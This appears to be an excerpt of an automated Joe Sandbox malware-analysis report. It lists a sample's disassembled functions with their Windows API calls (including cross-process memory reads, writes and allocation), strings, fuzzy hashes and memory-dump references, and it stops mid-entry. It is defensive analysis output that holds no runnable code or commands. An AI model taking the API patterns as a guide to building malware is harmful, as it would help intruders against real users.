Instruction Fuzzy Hash: 7B21D771700248BFDB21AA759C85EEE7BA9EB48710F044029FD45F71D2D6B08E419791

Function 00105A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00105A6E
GetForegroundWindow.USER32 ref: 00105A85
GetDC.USER32(00000000), ref: 00105AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00105ACD
ReleaseDC.USER32(00000000,00000003), ref: 00105B08

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: f6a1f07766c373ca68e61d4cee2bfe46460a84e6752c39ea97911f35082d9bea
Instruction ID: 071146336cc9f184a57444207c6ed7cbd89293fcee39684aa4e63342c17c8a5f
Opcode Fuzzy Hash: f6a1f07766c373ca68e61d4cee2bfe46460a84e6752c39ea97911f35082d9bea
Instruction Fuzzy Hash: 6A219F35A00204AFDB04EF68D985AAABBE5EF48310F14C07DF84997762CB70AC41DB90

Function 000912F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0009134D
SelectObject.GDI32(?,00000000), ref: 0009135C
BeginPath.GDI32(?), ref: 00091373
SelectObject.GDI32(?,00000000), ref: 0009139C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8f3c2f6ceac0147336a34dd2bed839f4801407be5b7e46e17b2bf026ebd3decc
Instruction ID: db44bfa5bd413ba1df84c047e2100dbbc43b5bedb220992652f01a127a853ab4
Opcode Fuzzy Hash: 8f3c2f6ceac0147336a34dd2bed839f4801407be5b7e46e17b2bf026ebd3decc
Instruction Fuzzy Hash: 1E215C30900709EBDF108F26DD047AD7BFAEB10322F14822AF8119A9B0D3719AD1EF90

Function 000EBC9E Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 000EBCB3
_memcmp.LIBCMT ref: 000EBCD1
_memcmp.LIBCMT ref: 000EBCE4
_memcmp.LIBCMT ref: 000EBCFC
_memcmp.LIBCMT ref: 000EBD14

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9f530e841bedbbf6563113db473d00a1e72764ee78c2455174c163a17afe5d3b
Instruction ID: 4886db415a8a3b178c772966a5553ba0d0f51bf79a09094fd25b8aea4c7a4548
Opcode Fuzzy Hash: 9f530e841bedbbf6563113db473d00a1e72764ee78c2455174c163a17afe5d3b
Instruction Fuzzy Hash: B601B1B26081597FD2146A12AD92FFFB79CDF21398F144421FD09A6243FB60EE21C6A1

Function 000F4A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000F4ABA
__beginthreadex.LIBCMT ref: 000F4AD8
MessageBoxW.USER32(?,?,?,?), ref: 000F4AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 000F4B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 000F4B0A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: c5d3665b9a3ec50823e836acc4e13475ba0395c4cfa961aed3bbb3abfade879c
Instruction ID: 1a347587c75aeba60c47a44aa5a798e4033eda00862446b232d43166119e1f3f
Opcode Fuzzy Hash: c5d3665b9a3ec50823e836acc4e13475ba0395c4cfa961aed3bbb3abfade879c
Instruction Fuzzy Hash: A0114472904608FBC7008FA8AC08AEB7FADEB44321F148269FD24D3A91D770C98087A0

Function 000E8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 000E821E
GetLastError.KERNEL32(?,000E7CE2,?,?,?), ref: 000E8228
GetProcessHeap.KERNEL32(00000008,?,?,000E7CE2,?,?,?), ref: 000E8237
HeapAlloc.KERNEL32(00000000,?,000E7CE2,?,?,?), ref: 000E823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 000E8255

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 0c9461be247fdd21a6ba1d80bdb0b0d14396677ac5ba9f8d5b22c707805f7c7d
Instruction ID: f033a24a21d24dde87b8c064972b2059c0879da4f2cf3275366484481803a1f4
Opcode Fuzzy Hash: 0c9461be247fdd21a6ba1d80bdb0b0d14396677ac5ba9f8d5b22c707805f7c7d
Instruction Fuzzy Hash: EF016975200648BFDB244FA6DD48DAB7BACEF8A754B50856DF90DD2220EA318C41DB60

Function 000E710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?,?,000E7455), ref: 000E7127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?), ref: 000E7142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?), ref: 000E7150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?), ref: 000E7160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?), ref: 000E716C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: bc9430c5e0c5dcef1b064a07acc8cb6ae0a331b1c5d77ab021561f0a51b1506e
Instruction ID: 94e7b8e3b95db74ab00ef0e20ee95283dee3d3a4aaa2a8fa5faca89c4bf2e617
Opcode Fuzzy Hash: bc9430c5e0c5dcef1b064a07acc8cb6ae0a331b1c5d77ab021561f0a51b1506e
Instruction Fuzzy Hash: 6B01BC76604304AFCB148F69DD44BAA7BECEB44791F1040A8FD08E2220E731DD829BA0

Function 000F5244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F5260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 000F526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F5276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 000F5280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F52BC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 06b510337704d67629dc1da6f258fb8c39f0d9b45950b87105c26277d1a760dd
Instruction ID: dbe014bdc70c35d3bfc79f660d95ae7358961947a70b5212496c3a92a6c65c13
Opcode Fuzzy Hash: 06b510337704d67629dc1da6f258fb8c39f0d9b45950b87105c26277d1a760dd
Instruction Fuzzy Hash: 0D016D31D01A1DEBCF04DFE4ED49AEDBB78FB0E312F404259EA41B2A41CB30559097A1

Function 000E810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 000E8121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 000E812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000E813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 000E8141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000E8157

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: dc20c30e6d84eeb542ecb761dec688752ef187283cf460f777572792aa510009
Instruction ID: 8896545f20e73eb99ff7521203e728b48fab5942cdadd0b5fe1f52d9c72326ff
Opcode Fuzzy Hash: dc20c30e6d84eeb542ecb761dec688752ef187283cf460f777572792aa510009
Instruction Fuzzy Hash: AEF0C274200304BFEB510FA5ED88EA73BACFF49754B108029F949D2150DB609D82EB60

Function 000EC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 000EC1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 000EC20E
MessageBeep.USER32(00000000), ref: 000EC226
KillTimer.USER32(?,0000040A), ref: 000EC242
EndDialog.USER32(?,00000001), ref: 000EC25C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: e5c321071523874e897189f0f08a9e0ee9b605a2f8e7695c50d9e76505e81ee2
Instruction ID: 52aec0c8b3098c5627722eb72339ba648b4ec776eecdec00bba89265c85ae1d0
Opcode Fuzzy Hash: e5c321071523874e897189f0f08a9e0ee9b605a2f8e7695c50d9e76505e81ee2
Instruction Fuzzy Hash: 5501A7305047049BFB285B55DD4EFD677B8BB00705F00426DE642A14F1D7E16985DB50

Function 000913B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 000913BF
StrokeAndFillPath.GDI32(?,?,000CB888,00000000,?), ref: 000913DB
SelectObject.GDI32(?,00000000), ref: 000913EE
DeleteObject.GDI32 ref: 00091401
StrokePath.GDI32(?), ref: 0009141C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: f4bb0aa30f79cd510b9964411b6c56be6b63ed36fb9a02873fd34e9e86d5d863
Instruction ID: 8969a4efc4dcc43449c8f4a611b9ae03c8071329755aee7933982dbd07f9e82d
Opcode Fuzzy Hash: f4bb0aa30f79cd510b9964411b6c56be6b63ed36fb9a02873fd34e9e86d5d863
Instruction Fuzzy Hash: 34F0C930104B09EBDF155F26ED5C7983BE6A725326F08C228F42A499F1C73149D6EF60

Function 000A2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 000B0DB6: std::exception::exception.LIBCMT ref: 000B0DEC
Part of subcall function 000B0DB6: __CxxThrowException@8.LIBCMT ref: 000B0E01

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 00097A51: _memmove.LIBCMT ref: 00097AAB

__swprintf.LIBCMT ref: 000A2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 000A2D66

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: e920e979f20a3364666c0498700337c5d6918cc6315bd9535a4061158f780a43
Instruction ID: df590c6fc4d1b9f9ad5194c5daffb8cb6679dc7ca6c88896e24578cbcfff4001
Opcode Fuzzy Hash: e920e979f20a3364666c0498700337c5d6918cc6315bd9535a4061158f780a43
Instruction Fuzzy Hash: D2912D711183019FCB14EF68C8859AFB7E8EF95710F04492EF4559B2A2DB31ED44DB62

Function 000FB93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00094750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00094743,?,?,000937AE,?), ref: 00094770

CoInitialize.OLE32(00000000), ref: 000FB9BB
CoCreateInstance.OLE32(00122D6C,00000000,00000001,00122BDC,?), ref: 000FB9D4
CoUninitialize.OLE32 ref: 000FB9F1

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

Strings

.lnk, xrefs: 000FB99D, 000FB9AB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 36f05abb9537c8744654fbb59d13f16fee99bb534fb6842223355aa50bf30459
Instruction ID: f1af3f57d5db1ad3132c2652981189d8447f4a7809824a832b806951a0eb873d
Opcode Fuzzy Hash: 36f05abb9537c8744654fbb59d13f16fee99bb534fb6842223355aa50bf30459
Instruction Fuzzy Hash: FBA133756042059FCB10DF18C884D6ABBE5FF89314F04899CF9999B3A2CB31ED46DB91

Function 000B501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 000B50AD

Part of subcall function 000C00F0: __87except.LIBCMT ref: 000C012B

Strings

pow, xrefs: 000B5085, 000B50A2

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: ccc457b45ff79bc237e8b2ff50344e99cd0f2b6e4d7ad50e8c1bc05d1a4509ea
Instruction ID: 3aafcab8138f2715dfbd809b7945a725e96b18afb20758c3070a9368aaac4e28
Opcode Fuzzy Hash: ccc457b45ff79bc237e8b2ff50344e99cd0f2b6e4d7ad50e8c1bc05d1a4509ea
Instruction Fuzzy Hash: 1D518C2191C602D7DB617B28CC05BFE6BD4DB40711F248DDCE8D5862EAEE348DD4DA82

Function 000D8584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000D862B
_memmove.LIBCMT ref: 000D8685

Strings

_, xrefs: 000D86FF, 000DDFDC, 000DDFF8
3c, xrefs: 000D860C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID: 3c$_
API String ID: 4104443479-1752800395
Opcode ID: 6e08559ec62e7b951444677852fb3493e64a09fc9e9c8797d8cd87e130717fff
Instruction ID: 6a398b4b8cfbb0c9a93e25fcaba1c54d266b593e32951cdf4ebd2fd88b277a59
Opcode Fuzzy Hash: 6e08559ec62e7b951444677852fb3493e64a09fc9e9c8797d8cd87e130717fff
Instruction Fuzzy Hash: 53513C70900609DFCB64CFA8D880AAEBBF1FF45314F14852AE85AD7350EB31E995CB61

Function 000E97F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000F14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,000E9296,?,?,00000034,00000800,?,00000034), ref: 000F14E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 000E983F

Part of subcall function 000F1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,000E92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 000F14B1

Part of subcall function 000F13DE: GetWindowThreadProcessId.USER32(?,?), ref: 000F1409
Part of subcall function 000F13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,000E925A,00000034,?,?,00001004,00000000,00000000), ref: 000F1419
Part of subcall function 000F13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,000E925A,00000034,?,?,00001004,00000000,00000000), ref: 000F142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 000E98AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 000E98F9

Strings

@, xrefs: 000E9911

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 3213cc33d5e7ce5ecd9bab5dd091524845ac9c81a46c01aabff8e8f3e1eb908d
Instruction ID: a4b021a01bd5a662165baa9bc00af2472eba0c857448db60dd4e3ee6d9787a53
Opcode Fuzzy Hash: 3213cc33d5e7ce5ecd9bab5dd091524845ac9c81a46c01aabff8e8f3e1eb908d
Instruction Fuzzy Hash: E441507690121CBFDB10DFA4CD81AEEBBB8EF49300F004199FA55B7191DA716E85DBA0

Function 00117946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0011F910,00000000,?,?,?,?), ref: 001179DF
GetWindowLongW.USER32 ref: 001179FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00117A0C

Strings

SysTreeView32, xrefs: 001179B1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 7a951698c6323cab06b45776839fe4fb48c4dbb4eaaf6ba732fc1e8af44feae9
Instruction ID: 8f5d0f8909eca857ca0a0e2943bb313996c8960599e0035915be628cc1fac31e
Opcode Fuzzy Hash: 7a951698c6323cab06b45776839fe4fb48c4dbb4eaaf6ba732fc1e8af44feae9
Instruction Fuzzy Hash: 5B31D23120460AABDF198E34DC41BEA77A9EF05334F248725F875932E0D730E9919B50

Function 001173D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00117461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00117475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00117499

Strings

SysMonthCal32, xrefs: 0011742C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
